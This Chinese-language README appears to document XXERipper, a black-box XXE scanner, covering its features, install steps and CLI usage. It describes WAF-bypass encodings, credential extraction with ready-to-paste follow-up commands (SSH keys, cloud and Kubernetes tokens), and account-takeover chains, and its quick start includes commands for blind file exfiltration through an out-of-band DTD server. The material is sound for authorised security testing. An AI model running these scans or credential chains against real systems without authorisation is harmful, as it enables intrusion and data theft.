黑盒XXE扫描器,通过统计基线、解析器指纹识别和OOB确认检测带内、基于错误和盲注带外注入,并支持SARIF输出。
一款面向安全专业人员的独立黑盒 XML 外部实体(XXE)扫描器。
XXERipper 可检测带内、基于错误和盲注带外 XXE,覆盖 30 多种攻击技术族。它结合了统计基线、差分解析器指纹识别、通过 interactsh-client 进行的带外确认(手动或自动)、基于浏览器的控制台、WAF 绕过编码、端到端利用链检测、凭据提取及可直接粘贴的 shell 片段、CWE 映射的发现结果,以及用于 CI/CD 和报告的 JSON / SARIF / HTML 输出。
XXERipper 是一款自包含的 CLI 和浏览器控制台扫描器,用于检测 XML 外部实体注入,专为渗透测试人员、漏洞赏金猎人和安全研究人员设计,他们需要对这一漏洞类别进行准确、低误报的检测——这类漏洞容易测试得很糟糕,却难以测试得很好。
它刻意保持极简——仅依赖 httpx 以及(用于控制台的)flask,别无其他——并且可端到端审计。每个阶段都可追踪,每个发现结果都带有证据链,每个被跳过的技术都会附带原因报告,每个提取的文件或凭据都会去重存储,并附带可直接粘贴的利用片段。
XXERipper 不会在实体解析原语本身之外对目标进行利用。它判断解析器是否解析外部实体,结果是否可在带内、通过解析器错误或带外观察到,并以置信度评分、CWE 映射以及——当完整链条完成时——一个指明端到端影响的汇总发现结果来报告该判断。
ChainTracker 观察每个发现结果,从 ID + 证据推导链条阶段,并在模板完成时触发汇总发现结果——XXE → IMDS → IAM 凭据 → AWS 账户接管、XXE → SSH 私钥 → 横向移动、XXE → Kubernetes 密钥 → 集群凭据窃取,以及另外十种。aws sts get-caller-identity、aliyun sts GetCallerIdentity、ssh -i …、gcloud auth activate-service-account、kubectl --token=… 和 curl -H 'Authorization: Bearer …'——在适用的情况下使用令牌的真实声明构建。interactsh-client 进行带外确认。 两种模式:手动(扫描器打印每个子域名,你观察客户端)和自动(--oob-auto 启动 interactsh-client 并在进程内关联回调)。两者都为每个载荷嵌入唯一的 16 位十六进制令牌,因此回调绝不会被错误归属。--oob-listen)、由你自己的 Web 服务器提供的目录(--oob-dtd-dir),或 WebUI 自身的 Flask 路由(在抽屉中勾选 Serve DTDs from this WebUI)。jar://、data://、phar://、glob://、compress.zlib://。XXE-OFFICE-XSLT-{DOCX,XLSX})——Word 或 Excel 部件内的 xml-stylesheet PI 会导致服务器端文档处理器获取攻击者控制的 XSLT。jackson-dataformat-xml 的 Spring MVC,它会在任何 @RequestBody 端点上静默接受 application/xml。--bypass-waf)——通过三个族中的十五种编码器重新发送整个载荷目录。在核心阶段之后运行,因此直接命中可在约 20 个请求内被发现,而不是被埋在大约 1,500 个编码请求之后。--serve)——基于浏览器的工作台,具有实时事件流、命令面板、键盘驱动导航、按任务的 JSON / SARIF / HTML 下载,以及一个单独的 View HTML 按钮,可内联打开报告而非下载。零依赖前端:一个自包含的 HTML 文件,无 CDN。--pre-auth-request FILE 重放 Burp 格式的请求,并在扫描开始前合并其 Set-Cookie,因此多步认证流程无需 cookies 文件即可工作。pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
基础安装会引入 `httpx[http2]`(通过 ALPN 启用 HTTP/2 协商)和 `Flask`(供 `--serve` Web 控制台使用)。SOCKS 代理支持是唯一的可选附加项。HTTP/2 是必需功能,而非可选功能——它作为 `httpx[http2]` 存在于主依赖列表中。`xxeripper[http2]` 附加项纯粹是为了照顾用户习惯而提供;安装它等同于安装基础包。
### 发行版软件包```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### 环境要求
- **Python 3.9 至 3.14。**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP 客户端。HTTP/2 支持
通过 `httpx` 的 `[http2]` extra 引入,该 extra 会一并带来
`h2` 依赖。扫描器在 TLS 握手时通过 ALPN 协商 HTTP/2,
并在服务器不支持时静默回退到 HTTP/1.1。
- **`Flask` ≥ 3.0, < 4.0** — 由 `--serve` Web 控制台使用。它是
主依赖,而非可选依赖;控制台是一等接口,
`xxeripper --serve` 在
[快速开始](#quick-start) 和 [Web 控制台](#web-console) 中有文档说明。
- **可选:** `PySocks` ≥ 1.7.1 用于 SOCKS 代理
(`xxeripper[socks]`)。
- **可选:** `PATH` 中的 `interactsh-client` 用于自动 OOB
确认 (`--oob-auto`)。手动 OOB 模式 (`--oob-domain`) 没有
外部依赖 — 你需要在单独的终端中自行运行 `interactsh-client`。
该 wheel 只包含一个文件,`xxeripper.py`。没有包
目录,没有编译扩展,安装时也没有构建步骤。
CLI 入口点声明为 `xxeripper = "xxeripper:main"`,因此
`pip install xxeripper` 会将 `xxeripper` 可执行文件放入你的 `PATH`。
### 可选 extras
| Extra | 引入 | 何时安装 |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | 你通过 SOCKS5 代理进行扫描时,包括通过 `socks5h://` 使用 Tor |
| `xxeripper[http2]` | *(无新增内容)* | 从不需要 — 基础安装已包含 `httpx[http2]`。仅为用户习惯提供 |
没有 `[webui]` extra — Flask 是主依赖,且
控制台在任何基础安装上开箱即用。
---
## 快速开始```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888
# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html
# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
-o results.sarif --format sarif --fail-on high
扫描器负责基线捕获、解析器指纹识别、载荷生成、执行、评分、链式汇总、凭据提取和报告。盲确认可以以双终端工作流(手动模式,默认)或全自动子进程驱动工作流(--oob-auto)的形式提供。
xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt
xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp
xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -r request.txt --oob-auto
xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888